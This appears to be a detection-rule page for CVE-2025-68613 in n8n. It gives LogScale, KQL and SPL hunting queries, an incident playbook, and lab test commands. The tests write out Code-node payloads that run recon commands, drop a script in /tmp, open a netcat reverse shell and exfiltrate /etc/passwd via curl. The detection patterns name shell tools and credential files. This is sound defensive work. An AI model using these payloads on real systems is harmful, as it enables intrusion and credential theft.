CVE-2025-68613 CrowdStrike LogScale · LogScale

Detect n8n Improper Control of Dynamically-Managed Code Resources (CVE-2025-68613) in CrowdStrike LogScale

Detects exploitation of CVE-2025-68613, a critical vulnerability in n8n workflow automation platform where improper control of dynamically-managed code resources (CWE-913) allows attackers to execute arbitrary code. This vulnerability is actively exploited in the wild (CISA KEV). Attackers can abuse n8n's Code node or expression evaluation engine to break out of intended sandboxing and execute arbitrary system commands on the underlying host.

MITRE ATT&CK

Tactic
Execution Lateral Movement Impact

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=ProcessRollup2
| ParentBaseFileName=/node(\.exe)?$/i
| (
    ImageFileName=/\/(bash|sh|dash|zsh|wget|curl|python[23]?|perl|ruby|nc|ncat)$/i
    OR ImageFileName=/(cmd\.exe|powershell\.exe|pwsh\.exe|mshta\.exe)$/i
    OR CommandLine=/(whoami|id\b|\/etc\/passwd|\/etc\/shadow|base64|chmod\s\+x|net\s+user|certutil|bitsadmin)/i
  )
| eval risk_score=case(
    CommandLine=~/\/etc\/shadow/i, "95",
    CommandLine=~/base64|certutil|bitsadmin/i, "85",
    ImageFileName=~/powershell|cmd\.exe/i, "80",
    true(), "70")
| groupby([ComputerName, UserName, ParentBaseFileName, ImageFileName, CommandLine, risk_score])
| sort(risk_score, order=desc)
| rename(field=ComputerName, as="Hostname")
| rename(field=UserName, as="User")
| rename(field=ParentBaseFileName, as="ParentProcess")
| rename(field=ImageFileName, as="ChildProcess")
| rename(field=CommandLine, as="CommandLine")
| head(100)
critical severity medium confidence

CrowdStrike Falcon CQL query hunting for n8n process spawning suspicious child executables or executing reconnaissance commands, indicative of CVE-2025-68613 active exploitation.

Data Sources

CrowdStrike Falcon Platform

Required Tables

ProcessRollup2

False Positives & Tuning

  • Authorized n8n workflow nodes executing shell commands for DevOps tasks
  • n8n automation instances that legitimately invoke Python or Perl for data processing
  • Security teams running n8n-based SOAR playbooks that spawn remediation scripts
  • n8n development and testing environments with unrestricted node execution

Other platforms for CVE-2025-68613

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1n8n Code Node Shell Command Execution

    Expected signal: Sysmon Event ID 1 showing node process spawning sh or bash child process with command arguments containing 'id', 'whoami', 'hostname'

  2. Test 2n8n Expression Evaluator File Write to Temp Directory

    Expected signal: Sysmon Event ID 11 (FileCreate) showing node process creating a .sh file in /tmp, followed by Event ID 1 showing chmod +x execution

  3. Test 3n8n Code Node Reverse Shell Simulation (Netcat)

    Expected signal: Sysmon Event ID 1 showing node.js spawning nc/ncat process with -e flag and IP/port arguments; Sysmon Event ID 3 showing network connection from node process to 127.0.0.1:4444

  4. Test 4n8n Credential Exfiltration Simulation via HTTP

    Expected signal: Sysmon Event ID 1 showing node spawning bash then curl with base64-encoded data arguments; Sysmon Event ID 3 showing network connection from curl to external host on port 9999

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the n8n instance version and confirm whether it is unpatched for CVE-2025-68613; check the n8n admin panel at port 5678 for version information and cross-reference against the vendor advisory.
  2. Review n8n workflow execution logs to identify which workflow triggered the anomalous process spawning, noting the workflow ID, triggering user account, and exact Code node or expression content executed.
  3. Determine the network exposure of the n8n instance — assess whether it is internet-facing, check firewall rules and reverse proxy configuration, and identify if the exploit was triggered via webhook, API call, or direct UI interaction.
  4. Correlate the suspicious child process events with n8n's internal execution logs (typically at ~/.n8n/ or /root/.n8n/) to establish the exact payload used and timeline of exploitation.
  5. Check for lateral movement indicators: review outbound network connections from the n8n host, new SSH keys added to authorized_keys, cron job modifications, and new user accounts created post-exploitation.

Containment

  1. Immediately isolate the affected n8n host from the network if active exploitation is confirmed, or disable internet-facing access to port 5678 at the firewall/load balancer level to prevent further exploitation while preserving forensic evidence.
  2. Suspend or disable the affected n8n workflow(s) identified during triage via the n8n admin interface, and revoke any API keys or webhook tokens associated with the triggered workflow to prevent re-exploitation.
  3. Rotate all secrets accessible to the n8n process, including database credentials, API tokens stored in n8n credentials manager, and any cloud provider keys that may have been exfiltrated.

Evidence Collection

  1. Collect n8n execution logs from the n8n data directory (~/.n8n/logs/ or configured LOG_FILE path), capturing full workflow execution history including Code node inputs/outputs for forensic analysis.
  2. Capture process tree snapshots, open network connections (netstat/ss output), running processes (ps auxf), and scheduled tasks (crontab -l, systemctl list-timers) from the affected host before remediation to preserve attacker persistence mechanisms.
  3. Export n8n database contents (SQLite at ~/.n8n/database.sqlite or PostgreSQL depending on configuration) to preserve workflow definitions, credentials metadata, and execution history as forensic evidence.

Escalation Criteria

  • !Escalate immediately to incident response if evidence of lateral movement is found — specifically if attacker-controlled processes accessed credentials stores, established reverse shells to external IPs, or modified authentication mechanisms on the host.
  • !Escalate to CISO and legal if n8n credentials manager contained third-party service API keys, cloud provider credentials, or database passwords, as these may have been exfiltrated enabling broader compromise beyond the initial n8n host.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >n8n execution database at ~/.n8n/database.sqlite containing workflow definitions with malicious Code node payloads
  • >Process execution logs showing node.js spawning unexpected child processes (bash, sh, curl, wget) with suspicious arguments
  • >n8n application logs at ~/.n8n/logs/ showing workflow execution events with unusual Code node content or expression evaluation errors
  • >Network connection logs showing outbound connections from the n8n process to attacker-controlled infrastructure on non-standard ports
  • >New files written to /tmp, /var/tmp, or /dev/shm by the n8n process indicating dropped payloads or reverse shell scripts

Tuning Guidance

Reduce false positives by building an allowlist of authorized n8n workflow IDs and their expected child process names from your n8n workflow inventory. Correlate process events with n8n's workflow execution logs to distinguish legitimate Code node usage from exploitation. Consider deploying n8n with a dedicated service account with minimal OS privileges (no shell, no sudo) so that even successful exploitation yields limited impact, and alert on any process execution by that service account outside of expected patterns. Apply threshold tuning based on your organization's n8n usage patterns — high-volume automation environments may need to scope detection to specific child process names (e.g., only alert on reverse shell indicators like nc/ncat with -e flags, or /etc/passwd access) rather than all child spawning.

Hunting Queries

Hunt for unexpected outbound network connections from n8n Node.js processes to external IP addresses on non-standard ports, which may indicate command-and-control communication established post-exploitation of CVE-2025-68613.

Hunting — KQL
kql 
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where Timestamp > ago(7d)
| where RemoteIPType != "Private"
| where RemotePort !in (80, 443, 5678, 8080, 8443)
| summarize ConnectionCount = count(), DestinationPorts = make_set(RemotePort), DestinationIPs = make_set(RemoteIP) by DeviceName, InitiatingProcessCommandLine
| where ConnectionCount >= 1
| sort by ConnectionCount desc
Hunting — SPL
spl 
index=* sourcetype IN ("sysmon", "linux:audit") EventCode=3
| eval parent=coalesce(Image, process_name)
| where match(parent, "(?i)node(\.exe)?$")
| where NOT match(DestinationIp, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)")
| where NOT DestinationPort IN (80, 443, 5678, 8080, 8443)
| stats count BY host, parent, DestinationIp, DestinationPort, DestinationHostname
| sort -count

Hunt for n8n Node.js processes writing executable files to temporary directories, which indicates an attacker dropped a payload or persistence mechanism after exploiting CVE-2025-68613.

Hunting — KQL
kql 
DeviceFileEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where FolderPath has_any ("/tmp/", "/var/tmp/", "/dev/shm/", "C:\\Windows\\Temp\\", "C:\\Users\\Public\\")
| where FileName has_any (".sh", ".py", ".pl", ".rb", ".elf", ".exe", ".ps1", ".bat")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine, SHA256
Hunting — SPL
spl 
index=* sourcetype="sysmon" EventCode=11
| eval parent=coalesce(Image, process_name)
| where match(parent, "(?i)node(\.exe)?$")
| where match(TargetFilename, "(?i)(\/tmp\/|\/var\/tmp\/|\/dev\/shm\/|Temp\\\\|Public\\\\)")
| where match(TargetFilename, "(?i)\.(sh|py|pl|rb|elf|exe|ps1|bat)$")
| table _time, host, parent, TargetFilename, MD5, SHA256

Atomic Red Team Tests

Test 1 n8n Code Node Shell Command Execution
linux

Simulates CVE-2025-68613 exploitation by executing a Code node in n8n that spawns a child process to run system reconnaissance commands. This tests whether endpoint detection identifies node.js spawning shell utilities.

Command

bash 
curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const { execSync } = require(\"child_process\"); const output = execSync(\"id && whoami && hostname\").toString(); return [{json:{output}}];"}}],"connections":{},"active":false}' && sleep 2 && curl -s -X POST http://localhost:5678/rest/workflows/WORKFLOW_ID/activate -H 'X-N8N-API-KEY: YOUR_API_KEY'

Cleanup

bash 
curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY'

Expected Telemetry

Sysmon Event ID 1 showing node process spawning sh or bash child process with command arguments containing 'id', 'whoami', 'hostname'

Expected Detection

Alert fires on suspicious child process spawned from n8n node.js parent with reconnaissance command arguments

Test 2 n8n Expression Evaluator File Write to Temp Directory
linux

Tests detection of n8n Code node writing an executable file to /tmp, simulating a payload drop stage of CVE-2025-68613 post-exploitation.

Command

bash 
curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-FileWrite-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const fs = require(\"fs\"); fs.writeFileSync(\"/tmp/n8n_test_artifact.sh\", \"#!/bin/bash\\necho pwned\"); const { execSync } = require(\"child_process\"); execSync(\"chmod +x /tmp/n8n_test_artifact.sh\"); return [{json:{status:\"written\"}}];"}}],"connections":{},"active":false}' && sleep 2 && curl -s -X POST http://localhost:5678/rest/workflows/WORKFLOW_ID/run -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{}'

Cleanup

bash 
rm -f /tmp/n8n_test_artifact.sh && curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY'

Expected Telemetry

Sysmon Event ID 11 (FileCreate) showing node process creating a .sh file in /tmp, followed by Event ID 1 showing chmod +x execution

Expected Detection

File write detection fires on executable script written to temporary directory by n8n node.js process

Test 3 n8n Code Node Reverse Shell Simulation (Netcat)
linux

Simulates the reverse shell establishment phase of CVE-2025-68613 exploitation by having the n8n Code node invoke netcat. Use only in an isolated lab environment with a controlled listener.

Command

bash 
nc -lvnp 4444 & export LISTENER_PID=$! && curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-RevShell-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const { execSync } = require(\"child_process\"); try { execSync(\"nc 127.0.0.1 4444 -e /bin/bash\", {timeout: 3000}); } catch(e) {} return [{json:{attempted:true}}];"}}],"connections":{},"active":false}' && sleep 5 && kill $LISTENER_PID 2>/dev/null; true

Cleanup

bash 
kill $LISTENER_PID 2>/dev/null; curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY'

Expected Telemetry

Sysmon Event ID 1 showing node.js spawning nc/ncat process with -e flag and IP/port arguments; Sysmon Event ID 3 showing network connection from node process to 127.0.0.1:4444

Expected Detection

Process creation detection fires on nc spawned from n8n with -e shell argument; network detection may also fire on the TCP connection event

Test 4 n8n Credential Exfiltration Simulation via HTTP
linux

Tests detection of CVE-2025-68613 post-exploitation data exfiltration by simulating an attacker reading sensitive files and sending them to an external endpoint via the n8n Code node.

Command

bash 
python3 -m http.server 9999 &>/dev/null & export HTTPD_PID=$! && curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-Exfil-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const { execSync } = require(\"child_process\"); const data = execSync(\"cat /etc/passwd | head -3\").toString(); execSync(`curl -s -X POST http://127.0.0.1:9999 -d \"${Buffer.from(data).toString(\"base64\")}\"`); return [{json:{exfiltrated:true}}];"}}],"connections":{},"active":false}' && sleep 2 && curl -s -X POST http://localhost:5678/rest/workflows/WORKFLOW_ID/run -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{}' && sleep 3 && kill $HTTPD_PID 2>/dev/null; true

Cleanup

bash 
kill $HTTPD_PID 2>/dev/null; curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY'

Expected Telemetry

Sysmon Event ID 1 showing node spawning bash then curl with base64-encoded data arguments; Sysmon Event ID 3 showing network connection from curl to external host on port 9999

Expected Detection

Detection fires on node.js spawning bash reading /etc/passwd followed by curl exfiltration; network detection may also trigger on outbound HTTP from n8n process

Related Detections

Tactic Hubs

TA0002ExecutionTA0008Lateral MovementTA0040Impact

Related Techniques

T1059Command and Scripting InterpreterT1190Exploit Public-Facing ApplicationT1203Exploitation for Client Execution

Same Tactic: Execution

Popular Detections